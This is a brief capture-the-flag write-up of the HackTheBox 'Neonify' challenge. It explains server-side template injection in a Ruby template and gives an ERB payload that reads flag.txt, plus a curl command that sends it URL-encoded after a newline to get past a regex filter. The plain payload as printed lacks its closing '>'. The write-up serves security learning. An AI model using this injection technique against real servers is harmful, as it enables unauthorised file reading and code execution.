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We covered Server Side Template Injection vulnerability and demonstrated a practical scenario using HackTheBox Neonify web challenge. SSTI is a server side exploit in which user input is parsed directly to the template engine without validation. In the example we covered, the code contained a regular expression filter to rule out bad characters so we used a newline character and encoded a payload using URL encoding to reveal the flag contents.. This was part of HackTheBox Neonify.

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CHALLENGE DESCRIPTION

It’s time for a shiny new reveal for the first-ever text neonifier. Come test out our brand new website and make any text glow like a lo-fi neon tube!

Video Highlights

  • We used this SSTI payload to read and reveal sensitive files
  • <%= File.open('flag.txt').read %
  • The payload should be URL-Encoded with a newline character.

An example request can be sent with curl using the below command to reveal the flag.

curl -d ‘neon=a
%3C%25%3D%20File.open%28%27flag.txt%27%29.read%20%25%3E’ ip:port

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Mastermind Study Notes is a group of talented authors and writers who are experienced and well-versed across different fields. The group is led by, Motasem Hamdan, who is a Cybersecurity content creator and YouTuber.

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